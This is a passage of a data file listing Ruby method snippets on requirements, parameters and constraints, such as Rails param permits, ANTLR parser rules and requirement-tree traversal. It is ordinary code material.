acc\n end\n end", "def recurseDerivedRequirements(requirement, treeNode)\n # $logger.log(treeNode.name)\n derivedReqs = []\n if StereotypesHelper.hasStereotype(requirement, $requirementStereotype)\n #for relation in requirement.get_relationshipOfRelatedElement()\n for relation in requirement.get_directedRelationshipOfTarget()\n if StereotypesHelper.hasStereotype(relation, $derivedRelationshipStereotype)\n # derivedReqs.push(ModelHelper.getClientElement(relation))\n derivedReqs.push(relation.getSource().get(0))\n # $logger.log(\"H: \" + derivedReqs[-1].getName())\n end\n end\n end\n unless derivedReqs.empty?\n # $logger.log(\"DR: \" + derivedReqs.size.to_s)\n # for dr in derivedReqs\n # $logger.log(dr.name)\n # end\n for derivedReq in derivedReqs\n # $logger.log(\"D: \" + derivedReq.getName())\n requirementId = StereotypesHelper.getStereotypePropertyFirst(derivedReq, $requirementStereotype, \"Id\").to_s\n # requirementId = \"\"\n childNode = Tree::TreeNode.new(requirementId + \" \" + derivedReq.getName())\n recurseDerivedRequirements(derivedReq, childNode)\n begin\n treeNode.add(childNode)\n rescue RuntimeError\n $logger.log(\"Duplicate entry: \" + childNode.name)\n $logger.log(treeNode.name)\n end\n end\n end\n return\nend", "def verify_parameter_nodes(startNode, endNode)\n # The order in which these checks are done is important.\n raise 'Start node cannot be null' if startNode.nil?\n raise 'End node cannot be null' if endNode.nil?\n raise \"Start node and end node must belong to the same document\" if (startNode.getDocument() == endNode.getDocument())\n \n nodeType = Rjb::import(\"com.aspose.words.NodeType\")\n #raise \"Start node and end node must be a child or descendant of a body\" if (startNode.getAncestor(nodeType.BODY) == '' || endNode.getAncestor(nodeType.BODY) == '')\n raise \"Start node and end node must be a child or descendant of a body\" if (startNode.getAncestor(nodeType.BODY).nil? || endNode.getAncestor(nodeType.BODY).nil?)\n \n # Check the end node is after the start node in the DOM tree\n # First check if they are in different sections, then if they're not check their position in the body of the same section they are in.\n startSection = startNode.getAncestor(nodeType.SECTION)\n endSection = endNode.getAncestor(nodeType.SECTION)\n startIndex = startSection.getParentNode().indexOf(startSection)\n endIndex = endSection.getParentNode().indexOf(endSection)\n \n if (startIndex == endIndex) then\n raise \"The end node must be after the start node in the body\" if (startSection.getBody().indexOf(startNode) > endSection.getBody().indexOf(endNode))\n elsif (startIndex > endIndex) then\n raise \"The section of end node must be after the section start node\"\n end \n end", "def process(problem)\n @problem = problem\n problem.constraints.each do |constraint|\n process_constraint(constraint)\n end\n problem.constraints = @constraints\n\n if allquantors_inside?(problem)\n @constraints = []\n problem = YarplFlattener.new.process(problem)\n end\n\n problem.constraints.each do |constraint|\n expand_count_all(constraint.expression,problem)\n end\n\n remove_invalid_constraints(problem)\n end", "def requirement_params\n params.require(:requirement).permit(:revision, :rank_id, :req_category, :req_num, :description)\n end", "def explanation\n activated = @activated.spec.full_name\n dependency = @failed_dep.dependency\n requirement = dependency.requirement\n alternates = dependency.matching_specs.map {|spec| spec.full_name }\n\n unless alternates.empty?\n matching = <<-MATCHING.chomp\n\n Gems matching %s:\n %s\n MATCHING\n\n matching = matching % [\n dependency,\n alternates.join(', '),\n ]\n end\n\n explanation = <<-EXPLANATION\n Activated %s\n which does not match conflicting dependency (%s)\n\n Conflicting dependency chains:\n %s\n\n versus:\n %s\n%s\n EXPLANATION\n\n explanation % [\n activated, requirement,\n request_path(@activated).reverse.join(\", depends on\\n \"),\n request_path(@failed_dep).reverse.join(\", depends on\\n \"),\n matching\n ]\n end", "def render_constraints_filters(localized_params = params)\n return \"\" unless localized_params[:f]\n content = \"\"\n localized_params[:f].each_pair do |facet,values| \n values.each do |val|\n content << render_constraint_element( facet_field_labels[decode_breadcrumb_key_for_name(facet)],\n val,\n :breadcrumb => catalog_index_path + create_breadcrumb_url(facet, val, localized_params),\n :remove => catalog_index_path + remove_facet_params(facet, val, localized_params),\n :classes => [\"filter\"] \n ) + \"\\n\"\n end\n end \n return content \n end", "def process_question(question_with_parameters)\n \n parsed_elements = question_with_parameters.scan(GROUP_REGEX)\n \n @question = parsed_elements.first.first\n # After the target, question type, question, and answer length has been determined\n # look at all the single quoted items to find the list of parameters if there are any\n @parameters = Array(parsed_elements[1..-1].flatten)\n \n end", "def hint_hint\n \"(<span class=\\\"required\\\">*</span> indicates a required field)\"\n end", "def render_constraints_query(localized_params = params)\n content = \"\"\n if (!localized_params[:q].blank?)\n localized_params[:q].each_pair do |query_key, value|\n if query_key.to_s.include?(\"q\" + encoding_token)\n corresponding_search_field_key = (\"search_field\" + encoding_token + index_from_encoded_key(query_key)).to_sym\n corresponding_search_field_value = localized_params[:q][corresponding_search_field_key]\n content << render_constraint_element(corresponding_search_field_value, decode_breadcrumb_key_for_name(value),\n :classes => [\"query\"],\n :breadcrumb => catalog_index_path + create_breadcrumb_url(query_key, corresponding_search_field_key, localized_params),\n :remove => catalog_index_path + remove_query_params(query_key, corresponding_search_field_key, localized_params))\n end\n end\n return content\n end\n end", "def recursive_requirements(&block)\n Requirement.expand(self, &block)\n end", "def constraint_regexp_for( name )\n\t\tself.log.debug \" searching for a constraint for %p\" % [ name ]\n\n\t\t# Fetch the constraint's regexp\n\t\tconstraint = self.constraints[ name.to_sym ] or\n\t\t\traise NameError, \"no such parameter %p\" % [ name ]\n\t\traise ScriptError,\n\t\t\t\"can't route on a parameter with a %p\" % [ constraint.class ] unless\n\t\t\tconstraint.respond_to?( :pattern )\n\n\t\tre = constraint.pattern\n\t\tself.log.debug \" bounded constraint is: %p\" % [ re ]\n\n\t\t# Unbind the pattern from beginning or end of line.\n\t\t# :TODO: This is pretty ugly. Find a better way of modifying the regex.\n\t\tre_str = re.to_s.\n\t\t\tsub( %r{\\(\\?[\\-mix]+:(.*)\\)}, '\\1' ).\n\t\t\tgsub( PARAMETER_PATTERN_STRIP_RE, '' )\n\t\tself.log.debug \" stripped constraint pattern down to: %p\" % [ re_str ]\n\n\t\treturn Regexp.new( \"(?<#{name}>#{re_str})\", re.options )\n\tend", "def satisfy_constraints\r\n @constraints.each do |c| # sorted by strings, boundaries, fixed\r\n case c.type\r\n when :string\r\n p1, p2 = c.particles[0], c.particles[1]\r\n restlength = c.value\r\n delta = p2.current - p1.current\r\n deltalength = Math.sqrt(delta.dot(delta))\r\n diff = (deltalength-restlength) / (deltalength*(p1.invmass+p2.invmass))\r\n p1.current += delta*(diff*p1.invmass);\r\n p2.current -= delta*(diff*p2.invmass);\n when :boundary\r\n p = c.particles\r\n # read: p.current.z = 0 if not p.current.z > 0\n p.current.component_set(c.boundary_component,c.boundary_value) if not p.current.component_value(c.boundary_component).send(c.boundary_comparator, c.boundary_value)\r\n when :fixed\r\n c.particles.current.from_a(c.value)\r\n end # case\r\n end # constraints\r\n end", "def gen_requirements\n @parser.requirements.each do |name, value|\n editor = ModelEditor.new(name.snake_case)\n editor.insert(AFTER_RELATIONSHIPS, value.collect{|v| \" # #{v}\"}.join(\"\\n\"))\n end\n end", "def requirements\n []\n end", "def add_contract_requirements(sheet)\n bold_style = sheet.styles.add_style b: true\n sheet.add_row []\n sheet.add_row ['2. Contract requirements'], style: bold_style\n add_initial_call_off_period(sheet)\n add_mobilisation_period(sheet)\n sheet.add_row ['Date of First Indexation', @procurement.initial_call_off_period < 1.year ? 'Not applicable' : (@procurement.initial_call_off_start_date + 1.year).strftime('%d/%m/%Y')]\n add_extension_periods(sheet)\n add_tupe(sheet)\n end", "def requirement_params\n params.require(:requirement).permit(:requirements)\n end", "def required_parameters(method)\n select_parameters_by_type(method, :req)\n end", "def requirement_params\n puts current_project.id\n params.require(:requirement).permit(:name, :description, :requirement_type)\n end", "def requirement_params\n params.require(:requirement).permit(:description, :hours_required, :requirement_id)\n end", "def check_parameter_constraints\n check_constraints_for_a if (@repository.parameters[:all])\n check_constraints_for_c if (@repository.parameters[:coord])\n check_constraints_for_d if (@repository.parameters[:delta])\n check_constraints_for_r if (@repository.parameters[:range])\n\n # check mandatory parameter combination\n check_parameter_occurrence\n \n # check mandatory file parameter\n check_mandatory_parameter(:file)\n end", "def block_parameter_names\n return block_def_node.parameters\n end", "def requires(requirements)\n class_for_name(@templateName).instance_eval {\n @requirements = requirements\n def requirements; @requirements; end;\n }\n end", "def match_requirement_params\n params.require(:match_requirement).permit(:requirement_type, :requirement, :importance)\n end", "def special_requirement_params\n params.require(:special_requirement).permit(:requirementDesc, :requirementValue)\n end", "def build_execution_errors_for_incomplete_cms_criteria(execution)\n program_criteria.each do |crit|\n next if crit.criterion_verified\n\n msg_type = crit.criterion_optional ? :warning : :error\n msg = if msg_type == :warning\n \"Warning - #{crit.criterion_name} not complete\"\n else\n \"#{crit.criterion_name} not complete\"\n end\n execution.execution_errors.build(message: msg, msg_type:, validator: 'Validators::ProgramCriteriaValidator')\n end\n end", "def parameters\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 8 )\n\n begin\n # at line 501:5: parameter ( ',' parameter )*\n @state.following.push( TOKENS_FOLLOWING_parameter_IN_parameters_486 )\n parameter\n @state.following.pop\n # at line 501:15: ( ',' parameter )*\n while true # decision 16\n alt_16 = 2\n look_16_0 = @input.peek( 1 )\n\n if ( look_16_0 == T__34 )\n alt_16 = 1\n\n end\n case alt_16\n when 1\n # at line 501:16: ',' parameter\n match( T__34, TOKENS_FOLLOWING_T__34_IN_parameters_489 )\n @state.following.push( TOKENS_FOLLOWING_parameter_IN_parameters_491 )\n parameter\n @state.following.pop\n\n else\n break # out of loop for decision 16\n end\n end # loop for decision 16\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 8 )\n\n end\n \n return \n end", "def parameters\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 74 )\n return_value = ParametersReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n char_literal356 = nil\n parameter355 = nil\n parameter357 = nil\n\n tree_for_char_literal356 = nil\n stream_COMMA = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token COMMA\" )\n stream_parameter = ANTLR3::AST::RewriteRuleSubtreeStream.new( @adaptor, \"rule parameter\" )\n begin\n # at line 742:5: parameter ( ',' parameter )*\n @state.following.push( TOKENS_FOLLOWING_parameter_IN_parameters_5248 )\n parameter355 = parameter\n @state.following.pop\n if @state.backtracking == 0\n stream_parameter.add( parameter355.tree )\n end\n # at line 742:15: ( ',' parameter )*\n while true # decision 91\n alt_91 = 2\n look_91_0 = @input.peek( 1 )\n\n if ( look_91_0 == COMMA )\n alt_91 = 1\n\n end\n case alt_91\n when 1\n # at line 742:18: ',' parameter\n char_literal356 = match( COMMA, TOKENS_FOLLOWING_COMMA_IN_parameters_5253 )\n if @state.backtracking == 0\n stream_COMMA.add( char_literal356 )\n end\n @state.following.push( TOKENS_FOLLOWING_parameter_IN_parameters_5256 )\n parameter357 = parameter\n @state.following.pop\n if @state.backtracking == 0\n stream_parameter.add( parameter357.tree )\n end\n\n else\n break # out of loop for decision 91\n end\n end # loop for decision 91\n # AST Rewrite\n # elements: parameter\n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 742:36: -> ( parameter )+\n # at line 742:39: ( parameter )+\n stream_parameter.has_next? or raise ANTLR3::RewriteEarlyExit\n\n while stream_parameter.has_next?\n @adaptor.add_child( root_0, stream_parameter.next_tree )\n\n end\n stream_parameter.reset\n\n\n\n return_value.tree = root_0\n\n end# - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 74 )\n\n end\n \n return return_value\n end", "def requirements\n []\n end", "def prepare_debug(element)\n element.add_renderable(\n create_rect_renderable(element.w, element.h, \"blue\")\n )\n end", "def remove_constraints\n @constraints = []\n @eq_size = 0\n @ineq_size = 0\n end", "def iteration_parameters\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 73 )\n return_value = IterationParametersReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n char_literal352 = nil\n char_literal354 = nil\n parameters353 = nil\n\n tree_for_char_literal352 = nil\n tree_for_char_literal354 = nil\n stream_PIPE = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token PIPE\" )\n stream_parameters = ANTLR3::AST::RewriteRuleSubtreeStream.new( @adaptor, \"rule parameters\" )\n begin\n # at line 737:3: ( '|' ( parameters )? '|' -> ^( PARAMS ( parameters )? ) | -> ^( PARAMS ) )\n alt_90 = 2\n look_90_0 = @input.peek( 1 )\n\n if ( look_90_0 == PIPE )\n alt_90 = 1\n elsif ( look_90_0 == GENERAL || look_90_0 == GET || look_90_0 == ARROW || look_90_0 == IF || look_90_0 == REGEX || look_90_0 == INCR || look_90_0 == BREAK || look_90_0 == RETURN || look_90_0 == IS_DEFINED || look_90_0 == LBRACE || look_90_0 == LBRACK || look_90_0.between?( SEMI, CONST ) || look_90_0.between?( SET, LET ) || look_90_0 == DDOC || look_90_0.between?( DECR, LPAREN ) || look_90_0 == DELETE || look_90_0.between?( DGENERAL, DO ) || look_90_0 == THROW || look_90_0 == TILDE || look_90_0 == TRUE || look_90_0 == TRY || look_90_0.between?( TYPEOF, NEW ) || look_90_0.between?( EACH, UNDEFINED ) || look_90_0.between?( NULL, UNLESS ) || look_90_0 == UNTIL || look_90_0 == FALSE || look_90_0 == VAR || look_90_0.between?( VOID, FOR ) || look_90_0 == WHILE || look_90_0.between?( WITH, YIELD ) || look_90_0.between?( IS_UNDEFINED, DOC ) || look_90_0.between?( T__148, T__150 ) )\n alt_90 = 2\n else\n @state.backtracking > 0 and raise( ANTLR3::Error::BacktrackingFailed )\n\n raise NoViableAlternative( \"\", 90, 0 )\n end\n case alt_90\n when 1\n # at line 737:5: '|' ( parameters )? '|'\n char_literal352 = match( PIPE, TOKENS_FOLLOWING_PIPE_IN_iteration_parameters_5207 )\n if @state.backtracking == 0\n stream_PIPE.add( char_literal352 )\n end\n # at line 737:9: ( parameters )?\n alt_89 = 2\n look_89_0 = @input.peek( 1 )\n\n if ( look_89_0 == GET || look_89_0 == SET || look_89_0 == STAR || look_89_0 == MACRO || look_89_0 == EACH || look_89_0.between?( DEF, OBJECT_DEF ) || look_89_0 == ID || look_89_0.between?( T__148, T__150 ) )\n alt_89 = 1\n end\n case alt_89\n when 1\n # at line 737:9: parameters\n @state.following.push( TOKENS_FOLLOWING_parameters_IN_iteration_parameters_5209 )\n parameters353 = parameters\n @state.following.pop\n if @state.backtracking == 0\n stream_parameters.add( parameters353.tree )\n end\n\n end\n char_literal354 = match( PIPE, TOKENS_FOLLOWING_PIPE_IN_iteration_parameters_5212 )\n if @state.backtracking == 0\n stream_PIPE.add( char_literal354 )\n end\n # AST Rewrite\n # elements: parameters\n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 737:25: -> ^( PARAMS ( parameters )? )\n # at line 737:28: ^( PARAMS ( parameters )? )\n root_1 = @adaptor.create_flat_list\n root_1 = @adaptor.become_root( @adaptor.create_from_type( PARAMS, \"PARAMS\" ), root_1 )\n\n # at line 737:38: ( parameters )?\n if stream_parameters.has_next?\n @adaptor.add_child( root_1, stream_parameters.next_tree )\n\n end\n\n stream_parameters.reset();\n\n @adaptor.add_child( root_0, root_1 )\n\n\n\n return_value.tree = root_0\n\n end\n when 2\n # at line 738:5: \n # AST Rewrite\n # elements: \n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 738:5: -> ^( PARAMS )\n # at line 738:8: ^( PARAMS )\n root_1 = @adaptor.create_flat_list\n root_1 = @adaptor.become_root( @adaptor.create_from_type( PARAMS, \"PARAMS\" ), root_1 )\n\n @adaptor.add_child( root_0, root_1 )\n\n\n\n return_value.tree = root_0\n\n end\n end# - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 73 )\n\n end\n \n return return_value\n end", "def process_constraint(constraint)\n if constraint.expression.is_a? Yarpler::Models::Forall\n @constraints.concat(process_forall_statement(constraint.expression))\n elsif constraint.expression.is_a? Yarpler::Models::Expression\n @constraints << constraint\n end\n end", "def find_deferred(*criteria)\n \n # The last element is assumed to be the attribute we're looking for. \n # The purpose of this function is to bubble up the hierarchy of a\n # hash to find it.\n att = criteria.pop \n \n # Account for everything being sent as an Array\n # i.e. find([1, 2, :attribute])\n # We don't use flatten b/c we don't want to disturb nested Arrays\n if criteria.empty?\n criteria = att\n att = criteria.pop\n end\n \n found = nil\n sacrifice = nil\n \n while !criteria.empty?\n found = find(criteria, att)\n break if found\n\n # Nested Arrays are treated special. We look at the criteria from\n # right to left and remove the first nested element we find.\n #\n # i.e. [['a', 'b'], 1, 2, [:first, :second], :attribute]\n #\n # In this example, :second will be removed first.\n criteria.reverse.each_with_index do |el,index|\n next unless el.is_a?(Array) # Ignore regular criteria\n next if el.empty? # Ignore empty nested hashes\n sacrifice = el.pop\n break\n end\n\n # Remove empty nested Arrays\n criteria.delete_if { |el| el.is_a?(Array) && el.empty? }\n\n # We need to make a sacrifice\n sacrifice = criteria.pop if sacrifice.nil?\n break if (limit ||= 0) > 10 # A failsafe\n limit += 1\n sacrifice = nil\n end\n\n found || find(att) # One last try in the root namespace\n end", "def get_bad_requirements(profile)\n bad_reqs = []\n @requirements.each do |rk, v|\n k = rk.to_sym\n expected = k != :vuln_test ? v : 'true'\n\n vprint_status(\"Comparing requirement: #{k}=#{expected} vs #{k}=#{profile[k]}\")\n\n if k == :activex\n bad_reqs << k if has_bad_activex?(profile[k])\n elsif k == :vuln_test\n bad_reqs << k unless profile[k].to_s == 'true'\n elsif v.is_a? Regexp\n bad_reqs << k if profile[k] !~ v\n elsif v.is_a? Proc\n bad_reqs << k unless v.call(profile[k])\n else\n bad_reqs << k if profile[k] != v\n end\n end\n\n bad_reqs\n end", "def parameter_validations\n @parameter_validations ||= []\n end", "def to_find_include\n @condition_blocks.inject({}) do |inc, cb|\n if cb.reflection.nil?\n inc.merge_tree(cb.to_find_include)\n else\n inc[cb.reflection] ||= {}\n inc[cb.reflection] = inc[cb.reflection].merge_tree(cb.to_find_include)\n inc\n end\n end\n end", "def addMissingExteriorAddedInsulation(theElement)\n # locationStr contains \"HouseFile/House/Components/X/\", where X is \"Basement\",\n # \"Walkout\", \"Crawlspace\" or \"Slab\"\n # The Wall element is always four elements from the basement Configuration element\n theWallElement = theElement.next_element.next_element.next_element.next_element\n theWallConstElement = theWallElement[1] # First child element is always \"Construction\"\n theExtWallElement = theWallConstElement.add_element(\"ExteriorAddedInsulation\", {\"nominalInsulation\"=>\"0\"})\n theExtWallElement.add_element(\"Description\")\n theExtWallCompElement = theExtWallElement.add_element(\"Composite\")\n theExtWallCompElement.add_element(\"Section\", {\"rank\"=>\"1\", \"percentage\"=>\"100\", \"rsi\"=>\"0\", \"nominalRsi\"=>\"0\"} )\nend", "def constraint_params\n params.require(:constraint).permit(:title, :decision_id)\n end", "def recursiveTreeTraversal(element)\n if StereotypesHelper.hasStereotype(element, $veStereotype)\n findRefinedParameters(element)\n end\n for child in element.getOwnedElement()\n recursiveTreeTraversal(child)\n end\nend", "def render_search_to_page_header(params)\n constraints = []\n constraints += (params.dig(\"f\", \"collection_sim\") || [])\n constraints.join(\" / \")\n end", "def exact_parameters(n, options={:level=>:error})\n\t\t\t\tvalidate(\"Macro '#{@name}' takes exactly #{n} parameter(s) (#{@node.params.length} given)\", options) do\n\t\t\t\t\tif n == 0 then\n\t\t\t\t\t\tno_parameters options\n\t\t\t\t\telse\n\t\t\t\t\t\t@node.params.length == n \n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend", "def describe_parameter_extra_regexps(name)\n [\n \"#{name}::\",\n \"+#{name}+::\",\n \"<tt>#{name}</tt>::\"\n ].map do |pattern|\n r = pattern.is_a?(Regexp) ? pattern : Regexp.escape(pattern)\n /#{r}\\n\\ {2,}.+/m\n end\n end", "def declared_dependencies(ast)\n deps = ast.xpath(\"//command[ident/@value='depends']/descendant::args_add/descendant::tstring_content\")\n # handle quoted word arrays\n var_ref = ast.xpath(\"//command[ident/@value='depends']/descendant::var_ref/ident\")\n deps += ast.xpath(%Q{//block_var/params/ident#{var_ref.first['value']}/ancestor::method_add_block/\n call/descendant::tstring_content}) unless var_ref.empty?\n deps.map{|dep| dep['value']}\n end", "def declared_dependencies(ast)\n deps = ast.xpath(\"//command[ident/@value='depends']/descendant::args_add/descendant::tstring_content\")\n # handle quoted word arrays\n var_ref = ast.xpath(\"//command[ident/@value='depends']/descendant::var_ref/ident\")\n deps += ast.xpath(%Q{//block_var/params/ident#{var_ref.first['value']}/ancestor::method_add_block/\n call/descendant::tstring_content}) unless var_ref.empty?\n deps.map{|dep| dep['value']}\n end", "def conditions_from_constraints\n hash_conditions = {}\n conditions = [hash_conditions]\n active_scaffold_constraints.each do |k, v|\n column = active_scaffold_config.columns[k]\n if column\n # Assume this is a multi-level association constraint.\n # example:\n # data model: Park -> Den -> Bear\n # constraint: :den => {:park => 5}\n if params_hash? v\n far_association = column.association.klass.reflect_on_association(v.keys.first)\n field = far_association.klass.primary_key\n table = far_association.table_name\n\n active_scaffold_references.concat([{k => far_association.name}]) # e.g. {:den => :park}\n hash_conditions.deep_merge!(table => {field => v.values.first})\n\n # association column constraint\n elsif column.association\n join_from_association_constraint(column)\n hash_conditions.deep_merge!(condition_from_association_constraint(column.association, v))\n\n # regular column constraints\n elsif column.searchable? && params[column.name] != v\n active_scaffold_references.concat column.references if column.includes.present?\n conditions << [column.search_sql.collect { |search_sql| \"#{search_sql} = ?\" }.join(' OR '), *([v] * column.search_sql.size)]\n end\n # unknown-to-activescaffold-but-real-database-column constraint\n elsif active_scaffold_config._columns_hash[k.to_s] && params[column.name] != v\n hash_conditions.deep_merge!(k => v)\n else\n raise ActiveScaffold::MalformedConstraint, constraint_error(active_scaffold_config.model, k), caller\n end\n end\n conditions.reject(&:blank?)\n end", "def constraints; end", "def constraints; end", "def constraints; end", "def search_constrains\n {group: @group}\n end", "def addMissingInteriorAddedInsulation(theElement)\n # locationStr contains \"HouseFile/House/Components/X/\", where X is \"Basement\",\n # \"Walkout\", \"Crawlspace\" or \"Slab\"\n # The Wall element is always four elements from the basement Configuration element\n theWallElement = theElement.next_element.next_element.next_element.next_element\n theWallConstElement = theWallElement[1] # First child element is always \"Construction\"\n theIntWallElement = theWallConstElement.add_element(\"InteriorAddedInsulation\", {\"nominalInsulation\"=>\"0\"})\n theIntWallElement.add_element(\"Description\")\n theIntWallCompElement = theIntWallElement.add_element(\"Composite\")\n theIntWallCompElement.add_element(\"Section\", {\"rank\"=>\"1\", \"percentage\"=>\"100\", \"rsi\"=>\"0\", \"nominalRsi\"=>\"0\"} )\nend", "def lower_bounds_constraint\n self.students.each do |student|\n self.sections.each do |section|\n self.problem[ VAR_f(student.id, section.id) - self.lower_fte_bound * VAR_b(student.id, section.id, \"bool\") >= 0 ]\n self.problem[ VAR_f(student.id, section.id) - 10 * VAR_b(student.id, section.id, \"bool\") <= 0 ]\n end\n end\n end", "def check_constraint_params\n\t\tparams.require(:constraint).permit(:travel_mean, :subject, :operator, :value)\n\tend", "def recursiveTreeTraversal(element)\n begin\n requirementsTree = findRequirementsTree(element)\n unless requirementsTree == nil\n checkForDuplicateRoots(requirementsTree)\n end\n for child in element.getOwnedElement()\n recursiveTreeTraversal(child)\n end\n rescue SystemStackError\n $logger.log(\"Recursive Issue1: \" + element.getName())\n end\nend", "def placeholders\n ast.select{ |node| SimpleTemplates::AST::Placeholder === node }.to_set\n end", "def requires!\n @required_params.each do |param| \n key = (param.is_a?(Array) ? param.first : param)\n verify_required_param(key)\n end\n end", "def requirements_for(model, field)\n return '' unless model.respond_to?(:requirements) && model.requirements\n case model.requirements[field]\n when :required\n content_tag :span, 'Required',\n :class => 'validation_for required'\n when :nhin_required\n content_tag :span, 'Required (NHIN)',\n :class => 'validation_for required'\n when :hitsp_required\n content_tag :span, 'Required (HITSP R)',\n :class => 'validation_for required'\n when :hitsp_r2_required\n content_tag :span, 'Required (HITSP R2)',\n :class => 'validation_for required'\n when :hitsp_optional\n content_tag :span, 'Optional (HITSP R)',\n :class => 'validation_for'\n when :hitsp_r2_optional\n content_tag :span, 'Optional (HITSP R2)',\n :class => 'validation_for'\n else\n ''\n end\n end", "def remove_parameter(matcher)\n @tree.data.reject!(&matcher)\n end", "def query_constraints\n # the `+` with @facet_constraint_component is copied from original implementation, and\n # I think is about \"advanced search\" feature?\n\n helpers.render(@query_constraint_component.new(\n search_state: @search_state\n )) + helpers.render(@facet_constraint_component.with_collection(clause_presenters.to_a, **@facet_constraint_component_options))\n end", "def triggered_mandatory_missing\n qs = survey.sections.map(&:questions).flatten\n #ds = Dependency.all(:include => :dependency_conditions, :conditions => {:dependency_conditions => {:question_id => qs.map(&:id) || responses.map(&:question_id)}})\n ds = Dependency.includes(:dependency_conditions).where(:question_id => qs.map(&:id) || responses.map(&:question_id) )\n triggered = qs - ds.select{|d| !d.is_met?(self)}.map(&:question)\n triggered_mandatory = triggered.select{|q| q.mandatory?}\n triggered_mandatory_completed = triggered.select{|q| q.mandatory? and is_answered?(q)}\n triggered_mandatory_missing = triggered_mandatory - triggered_mandatory_completed\n return triggered_mandatory_missing\n end", "def getGeneralRequirements(reportText)\n genRequirementsArray = Array.new()\n mainRequirements = reportText.scan(/(NO |OK |IP )(?!=)(.*)/)\n mainRequirements.each do |req|\n if req[0] == 'OK '\n rectClasses = 'dataRect alert alert-success'\n iconClass = 'glyphicon glyphicon-ok'\n tipMsg = 'Requirement Completed!'\n elsif req[0] == 'IP '\n rectClasses = 'dataRect alert alert-warning'\n iconClass = 'glyphicon glyphicon-refresh'\n tipMsg = 'Requirement In Progress'\n elsif req[0] == 'NO '\n rectClasses = 'dataRect alert alert-danger'\n iconClass = 'glyphicon glyphicon-remove'\n tipMsg = 'Requirement Not Completed'\n end\n genRequirementsArray << \"<div class='#{rectClasses}' title='#{tipMsg}' onclick=\\\"window.location.hash='#{req[1][0..30].gsub(/\\s+/,\"\")}'; \\\"'> #{req[1].to_s.strip} <span class='#{iconClass} statusIcon'></span></div>\"\n end\n return genRequirementsArray\nend", "def get_bounds_from_element(element)\r\n\r\n if (bounds = extract_integer_bounds(element))\r\n return yield bounds\r\n else\r\n return nil\r\n end\r\n\r\nend", "def find_with_reqs(reqs={}) # Arguments itself can be any length. But these three are things allowed to be defined.\n [ total_match_value(reqs[:class], reqs[:condition]), quey_match_value(reqs[:quey]), default_value_for(reqs[:quey]) ].compact.first\n end", "def declared_dependencies(ast)\n raise_unless_xpath!(ast)\n deps = ast.xpath(%q{//command[ident/@value='depends']/\n descendant::args_add/descendant::tstring_content[1]})\n # handle quoted word arrays\n var_ref = ast.xpath(%q{//command[ident/@value='depends']/\n descendant::var_ref/ident})\n unless var_ref.empty?\n deps += ast.xpath(%Q{//block_var/params/ident#{var_ref.first['value']}/\n ancestor::method_add_block/call/descendant::tstring_content})\n end\n deps.map{|dep| dep['value']}\n end", "def requires(*elements)\n elements.each do |inst_var|\n if inst_var.kind_of? Symbol\n string=\"@#{inst_var.to_s}\"\n if instance_variable_get(string)==nil\n raise \"You've neglected to define a required variable for your #{self.class}.\\n\\nPlease ensure you always specify a value for #{string} when you create the data object.\"\n end\n elsif inst_var.kind_of? String\n warn \"<<<<WARNING!>>>>\\n\\nPlease update the requires method in your\\n#{self.class} class to refer to symbols\\ninstead of directly referencing the class'\\ninstance variables.\\n\\n Example:\\n\\n This...\\n requires @document_id\\n Should be updated to...\\n requires :document_id\\n\\nIn future versions of TestFactory the 'requires'\\nmethod will only support symbolized references\\nto the instance variables. The backwards\\ncompatibility will be removed.\\n\\n<<<<WARNING!>>>>\"\n elsif inst_var==nil\n raise \"You've neglected to define a required variable for your #{self.class}.\\n\\n<<<<WARNING!>>>>\\n\\nPlease update the requires method in your #{self} class to refer to symbols\\ninstead of directly referencing the class'\\ninstance variables.\\n\\nIn future versions of TestFactory the 'requires' method\\nwill only support symbolized references\\nto the instance variables. The backwards\\ncompatibility will be removed.\\n\\n<<<<WARNING!>>>>\"\n end\n end\n end", "def filtered_parameters; end", "def requirement_params\n params.require(:requirement).permit(:name, :description)\n end", "def requirements; end", "def requirements; end", "def requirements; end", "def requirements; end", "def constraints(_)\n nil\n end", "def each_constraint(variable=nil, &block)\n if variable\n 